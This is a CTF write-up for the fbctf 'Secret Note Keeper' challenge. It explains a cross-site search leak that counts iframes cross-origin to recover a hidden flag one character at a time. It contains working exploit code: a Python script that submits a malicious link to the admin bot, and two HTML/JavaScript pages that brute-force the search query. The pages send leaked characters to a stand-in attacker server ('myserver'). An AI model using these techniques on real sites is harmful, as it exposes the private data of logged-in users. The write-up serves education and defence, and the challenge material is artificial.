Secret Note Keeper

by mvs

Points: 676

Solves: 61

Description:

Find the secret note that contains the fl4g!

http://challenges.fbctf.com:8082

Same thing but in tokyo: http://challenges3.fbctf.com:8082/

(Timeout is 5 seconds for links, flag is case insensitive)

Solution

TLDR

Exploit a XS-Search vulnerability leveraging the Frame Count of a window reference (an iframe in this challenge).

Create an account and then a secret. While searching for secrets in the service, when a secret is found, an iframe is created displaying the secret. Since we can count the number of frames in a page cross-origin, we can leak the search results by brute forcing characters in the search query. If the number of frames is different then 0, then the search returned a result, if 0, no results were found. In the end, we just need to send the exploit to the admin, and we will get the flag after some time.

The Challenge

This challenge allowed us to create an account and create secrets that would be protected in the service. We could also search for the secrets we created. There was also a page where we could contact an admin and send a link, that would be visited by her/him.

Once we saw this service we automatically recognized this could be a XS-Search challenge by exploiting the search feature.

Alt text Alt text

Introduction about XS-Search (XSLeaks)

XSLeaks are a very recent research topic regarding web exploitation. The main intention of these attacks is to leak information from a service by exploiting a user.

This attacks are performed Cross-Origin and require that the exploited user is authenticated in the service. Since we are making requests from a different origin, Same Origin Policy won’t allow us to read the response we get from the request, so we need to use certain techniques that allow us to infer a certain difference based on the request we are making.

Read the If you’re Interested section to learn more about the topic.

Description

When we create a secret and search for it, we saw that for every secret that matched the search, an iframe would be created with the secret in it. As specified in the Cross-origin script API access, JavaScript APIs like iframe.contentWindow allow us to access the iframe window reference Cross-Origin under a different browsing context (reference to the standard).

Since this page did not have any X-Frame-Options header we could leverage this technique to exploit the admin by sending her/him our exploit.

The vulnerability works as follows:

If we perform a search that returns 1 result, then 1 iframe is created and we can get this number with the API referred above. If the search returns no results then no iframes are created.

http://challenges.fbctf.com:8082/search?query=flag{ -> 1 iframe is going to be created, so it’s a HIT!

http://challenges.fbctf.com:8082/search?query=flagggg{ -> no secrets matched then 0 iframes created. It’s a MISS!

http://challenges.fbctf.com:8082/search?query=flag{th -> HIT

http://challenges.fbctf.com:8082/search?query=flag{thi -> HIT

http://challenges.fbctf.com:8082/search?query=flag{this -> HIT

http://challenges.fbctf.com:8082/search?query=flag{this_a_flah -> MISS

http://challenges.fbctf.com:8082/search?query=flag{this_is_flag -> HIT

http://challenges.fbctf.com:8082/search?query=flag{this_is_flag} -> HIT

Since we can infer whether the search returned a result or not, then we can leak the contents of the secrets! Or more important, THE FLAG!

To make the exploit we just need to brute force the search query with every ASCII printable character. When we get a HIT we can append the current character to the current search and look for the next character. We just need to repeat this process until we get the complete flag.

The Exploit

Here is the python script we used to submit the exploit URL to the admin.

import hashlib
import random
import string
import requests
import re

letters = string.ascii_lowercase


def randomString(stringLength=10):
    return ''.join(random.choice(letters) for i in range(stringLength))


def proof_of_work(prefix):
    hash_result = hashlib.md5(randomString()).hexdigest()
    rs = ''
    while hash_result[:5] != prefix:
        rs = randomString()
        hash_result = hashlib.md5(rs).hexdigest()
    return rs

letters = string.ascii_lowercase

username = ''.join(random.choice(letters) for i in range(20))
password = ''.join(random.choice(letters) for i in range(20))

s = requests.Session()
s.post('http://challenges.fbctf.com:8082/login',
       data={'username': username, 'password': password})
asd = s.get('http://challenges.fbctf.com:8082/report_bugs').text

prefix = re.findall(r'proof of work for (.*?) ', asd)[0]

pow_sol = proof_of_work(prefix)

print "POW Solution: " + pow_sol

s.post('http://challenges.fbctf.com:8082/report_bugs',
       data={'title': 'sttftw', 'body': 'sttftw', 'link': 'http://myserver/sploit.html', 'pow_sol': pow_sol})

print "SENT"

We know beforehand that the flag prefix if fb{ so we know what to start looking for. We start the search with this prefix and perform a search for every character in the chars list. When the frames.length is different than 0, i.e, an iframe was created, we make a request to ourselves to communicate the new character in the flag. After this, we append that character to the current search and move on with the search. Eventually, we will get the complete flag.

<!DOCTYPE html>
<html>

<head>
    <title>fbctf secret note keeper</title>
</head>

<body></body>
<script>
var chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^`{|}~ ';
var charLen = chars.length;
var ENDPOINT = "http://challenges.fbctf.com:8082/search?query="
var x = document.createElement('iframe');

function search(leak, charCounter) {
    var curChar = chars[charCounter];
    x.setAttribute("src", 'http://challenges.fbctf.com:8082/search?query=' + leak + curChar);
    document.body.appendChild(x);
    console.log("leak = " + leak + curChar);
    x.onload = () => {
        if (x.contentWindow.frames.length != 0) {
            fetch('http://myserver/leak?' + escape(leak), {
                method: "POST",
                mode: "no-cors",
                credentials: "include"
            });
            leak += curChar
        }
        search(leak, (charCounter + 1) % chars.length);
    }
}

function exploit() {
    search("fb{", 0);
}

exploit();
</script>

</html>

This second exploit is an alternative. Instead of performing the search as a local function recursion, we can use URL parameters to call ourselves when a new character is found. By doing this we don’t need to explicitly send a request to ourselves to communicate the leaks.

<!DOCTYPE html>
<html>

<head>
    <title>fbctf secret note keeper</title>
</head>

<body></body>
<script>
var chars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"$%&\'()*+,-./:;<=>?@[\\]^`{|}~ ';
var charLen = chars.length;
var ENDPOINT = "http://challenges.fbctf.com:8082/search?query="
var LEAKURL = 'http://myserver/sploit.html?leak='
var FLAG_FORMAT = 'fb{'
var x = document.createElement('iframe');


function search(leak, charCounter) {
    var curChar = chars[charCounter];
    x.setAttribute("src", 'http://challenges.fbctf.com:8082/search?query=' + leak + curChar);
    document.body.appendChild(x);
    console.log("leak = " + leak + curChar);
    x.onload = () => {
        if (x.contentWindow.frames.length != 0) {
            leak += curChar;
            location.href = LEAKURL + escape(leak);
        }
        document.body.removeChild(x);
        search(leak, (charCounter + 1) % chars.length);
    }
}

function exploit() {
    var brute = new URLSearchParams(location.search).get('leak') || FLAG_FORMAT;
    console.log(brute);
    search(brute, 0);
}

exploit();
</script>
</html>

The flag: fb{cr055_s173_l34|<5_4r4_c00ool!!}

If you’re Interested

These attacks are very cool, and they have a community working on them. You can check out this Github repository where you can find more techniques that can be used as a leverage to this attack. If you’re interested, you can contribute as well!

If you would like to see how companies like Google and Mozilla are preparing the defenses for this attacks you can check out what Chrome (also here and here) is doing regarding the implementation of new standards (and here) to kill this vulnerability.